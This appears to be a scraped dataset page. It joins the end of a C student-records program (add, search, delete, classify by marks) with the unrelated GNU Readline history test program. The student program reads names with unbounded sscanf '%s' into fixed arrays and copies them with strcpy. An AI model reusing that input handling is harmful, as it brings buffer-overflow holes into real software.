} else {
in_success = 1;
break;
}
}
}
printf("=========== search marks [%d:%d]\n", mark_min, mark_max);
search_marks(root, mark_min, mark_max);
} break;
case 3: {
in_success = 0;
while (!in_success) {
printf("Enter birth day 'DD.MM'\n");
char * rr = fgets(in_buffer, sizeof(in_buffer), stdin);
if (rr != NULL) {
int scanned = sscanf(in_buffer, "%d.%d", &day, &month);
if (scanned != 2) {
printf("Error: 2 arguments expected, got %d\n", scanned);
} else {
in_success = 1;
break;
}
}
}
printf("=========== search bday: %d.%d\n", day, month);
search_date(root, day, month);
} break;
case 4:
finish = 1;
break;
}
} while (!finish);
}
void save_category(Student* root, const char* filename){
int mark1 = 0;
int mark2 = 50;
int mark3 = 70;
int mark4 = 100;
size_t lenght = strlen(filename);
char* name2 = malloc(lenght + 10);
memcpy(name2, filename, lenght);
name2[lenght] = '1';
name2[lenght + 1] = '\0';
FILE *file1 = fopen(name2, "w+");
name2[lenght] = '2';
FILE *file2 = fopen(name2, "w+");
name2[lenght] = '3';
FILE *file3 = fopen(name2, "w+");
free(name2);
name2 = NULL;
Student* next = root;
int count1 = 0;
int count2 = 0;
int count3 = 0;
while (next != NULL) {
if(next->uspevaemost >= mark1 && next->uspevaemost < mark2){
write_student(file1, next);
count1++;
}
else if(next->uspevaemost >= mark2 && next->uspevaemost < mark3){
write_student(file2, next);
count2++;
}
else if(next->uspevaemost >= mark3 && next->uspevaemost <= mark4){
write_student(file3, next);
count3++;
}
next = next->next;
}
fclose(file1);
fclose(file2);
fclose(file3);
printf("%d low mark, %d medium mark, %d high mark\n---------------------------------\n", count1, count2, count3);
}
void search_category(Student* root){
int finish = 0;
do {
int cc = 0;
int mark1 = 0;
int mark2 = 50;
int mark3 = 70;
int mark4 = 100;
int in_success = 0;
while (!in_success) {
printf("\nEnter category type:\n1. Low marks\n2. Medium marks\n3. High marks\n4. Cancel\n");
char * rr = fgets(in_buffer, sizeof(in_buffer), stdin);
if (rr != NULL) {
int scanned = sscanf(in_buffer, "%d", &cc);
if (scanned == 1) {
in_success = 1;
break;
} else {
printf("Expected 1 argument, got %d\n", scanned);
}
}
}
switch (cc) {
case 1:
in_success = 0;
while (!in_success) {
search_marks(root, mark1, mark2);
in_success = 1;
break;
}
case 2: {
in_success = 0;
search_marks(root, mark2, mark3);
} break;
case 3: {
in_success = 0;
search_marks(root, mark3, mark4);
} break;
case 4:
finish = 1;
break;
}
} while (!finish);
}
int main(int argc, const char * argv[]) {
Student* root = NULL;
if(argc != 2){
printf("Error: no file name\n");
exit(-1);
}
const char* filename = argv[1];
// FILE *file = fopen(filename, "w");
// if(file == NULL){
// printf("Error: cant open file %s\n", filename);
// exit(-1);
// }
// Student* testStudent = malloc(sizeof(Student));
// fill_student(testStudent);
// print_student(testStudent);
// size_t byte = write_student(file, testStudent);
// printf("Written %d byte\n",(int)byte);
// int x = fclose(file);
// if(x != 0){
// printf("Error: cant close file");
// }
//
// file = fopen(filename, "r");
// if(file == NULL){
// printf("Error: cant open file %s\n", filename);
// exit(-1);
// }
// Student* student = read_student(file);
// if(student == NULL){
// printf("Error: no students\n");
// }
// else{
// print_student(student);
// free(student);
// }
// x = fclose(file);
// if(x != 0){
// printf("Error: cant close file");
// }
FILE *file = fopen(filename, "r");
if(file == NULL){
printf("Error: cant open file %s\n", filename);
exit(-1);
}
Student** lastStudent = &root;
do{
Student* student = read_student(file);
if(student == NULL){
break;
}
*lastStudent = student;
lastStudent = &student->next;
}while(1);
fclose(file);
file = fopen(filename, "a+");
if(file == NULL){
printf("Error: cant open file %s\n", filename);
exit(-1);
}
int stop = 0;
do{
int mode = 0;
char familiya[MAX_NAME];
char imya[MAX_NAME];
char otchestvo[MAX_NAME];
double uspevaemost = 0.0;
int index = 0;
int permition = 0;
int in_success = 0;
Date date = {0};
while (!in_success) {
printf("0. Save group on disk\n1. Add new student\n2. Print all group\n3. Search\n4. Delete student by number\n5. Classify by categories\n6. Exit\n");
char * rr = fgets(in_buffer, sizeof(in_buffer), stdin);
if (rr != NULL) {
int scanned = sscanf(in_buffer, "%d", &mode);
if (scanned == 1) {
in_success = 1;
break;
} else {
printf("Error: 1 int argument expected, got %d\n", scanned);
}
}
}
switch (mode) {
case 1:
in_success = 0;
while (!in_success) {
printf("Enter student data: 'f.name l.name s.name DD.MM.YYYY mark':\n");
char *rr = fgets(in_buffer, sizeof(in_buffer), stdin);
if (rr != NULL) {
int in_count = sscanf(in_buffer, "%s %s %s %d.%d.%d %lf", familiya, imya, otchestvo, &date.day, &date.month, &date.year, &uspevaemost);
if (in_count == 7) {
in_success = 1;
break;
} else {
printf("Error: 7 arguments expected (got %d)\n", in_count);
}
}
}
Student * student = malloc(sizeof(Student));
strcpy(student->familiya, familiya);
strcpy(student->imya, imya);
strcpy(student->otchestvo, otchestvo);
student->birth_date = date;
student->uspevaemost = uspevaemost;
student->next = NULL;
add_student(&root, student);
write_student(file, student);
break;
case 2:
print_group(root);
break;
case 3:
search_student(root);
break;
case 4:
in_success = 0;
while (!in_success) {
printf("Enter student number:\n");
char *rr = fgets(in_buffer, sizeof(in_buffer), stdin);
if (rr != NULL) {
int in_count = sscanf(in_buffer, "%d", &index);
if (in_count == 1) {
in_success = 1;
break;
} else {
printf("Error: 1 arguments expected (got %d)\n", in_count);
}
}
}
remove_student(&root, index);
break;
case 0: {
Student* lastStudent = root;
fclose(file);
file = fopen(filename, "a+");
if(file == NULL){
printf("Error: cant open file %s\n", filename);
exit(-1);
}
while(lastStudent != NULL){
write_student(file, lastStudent);
lastStudent = lastStudent->next;
}
} break;
case 6:
printf("Are you shure about this? (666 - yes)\n");
scanf("%d", &permition);
while ((getchar()) != '\n');
if(permition == 666){
stop = 1;
}
break;
case 5:
save_category(root, filename);
search_category(root);
break;
}
} while(!stop);
fclose(file);
return 0;
}
|
the_stack_data/1235617.c | /* **************************************************************** */
/* */
/* Testing Readline */
/* */
/* **************************************************************** */
/* Copyright (C) 1987-2009 Free Software Foundation, Inc.
This file is part of the GNU Readline Library (Readline), a library for
reading lines of text with interactive input and history editing.
Readline is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Readline is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Readline. If not, see <http://www.gnu.org/licenses/>.
*/
#if defined (HAVE_CONFIG_H)
#include <config.h>
#endif
#include <stdio.h>
#include <sys/types.h>
#ifdef HAVE_STDLIB_H
# include <stdlib.h>
#else
extern void exit();
#endif
#ifdef READLINE_LIBRARY
# include "readline.h"
# include "history.h"
#else
# include <readline/readline.h>
# include <readline/history.h>
#endif
extern HIST_ENTRY **history_list ();
int
main ()
{
char *temp, *prompt;
int done;
temp = (char *)NULL;
prompt = "readline$ ";
done = 0;
while (!done)
{
temp = readline (prompt);
/* Test for EOF. */
if (!temp)
exit (1);
/* If there is anything on the line, print it and remember it. */
if (*temp)
{
fprintf (stderr, "%s\r\n", temp);
add_history (temp);
}
/* Check for `command' that we handle. */
if (strcmp (temp, "quit") == 0)
done = 1;
if (strcmp (temp, "list") == 0)
{
HIST_ENTRY **list;
register int i;
list = history_list ();
if (list)
{
for (i = 0; list[i]; i++)
fprintf (stderr, "%d: %s\r\n", i, list[i]->line);
}
}
free (temp);
}
exit (0);
}
|
Subsets and Splits